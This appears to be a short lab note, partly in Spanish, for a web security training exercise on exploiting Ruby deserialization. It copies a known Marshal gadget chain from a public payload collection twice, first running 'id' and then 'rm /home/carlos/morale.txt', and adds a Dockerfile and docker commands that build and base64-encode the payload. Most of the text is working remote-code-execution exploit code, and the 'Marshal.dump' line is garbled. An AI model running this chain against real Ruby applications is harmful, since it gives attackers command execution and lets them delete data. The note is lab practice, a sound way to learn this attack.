7 - Exploiting Ruby deserialization using a documented gadget chain
PayloadsAllTheThings/Insecure Deserialization at master · swisskyrepo/PayloadsAllTheThings · GitHub
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "id")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dumpSpecFetcher, Gem::Installer, r]
puts payload.inspect
puts Marshal.load(payload)
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt") #Comando a ejecutar
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dumpSpecFetcher, Gem::Installer, r]
puts payload #Así sale en formato correcto
Para poder ejecutar el script de arriba :
# Usa una imagen base de Ruby 2.7
FROM ruby:2.7
# Establece el directorio de trabajo dentro del contenedor
WORKDIR /app
# Copia tu archivo ruby (por ejemplo ruby_deser.rb) al contenedor
COPY ruby_deser.rb /app/ruby_deser.rb
# Instala cualquier dependencia necesaria
RUN apt-get update && apt-get install -y \
build-essential \
libssl-dev \
libreadline-dev \
zlib1g-dev
# Instala las gemas que necesites, si las tienes en un Gemfile
# Si no tienes un Gemfile, puedes instalar las gemas directamente con gem install
RUN gem install base64
# Comando por defecto para ejecutar el script
CMD ["ruby", "ruby_deser.rb"]
nano ruby_deser.rb
...
docker build -t ruby-exploit .
docker run --rm ruby-exploit | base64 -w 0 ; echo
Si cambiamos el contenido del script se repiten los pasos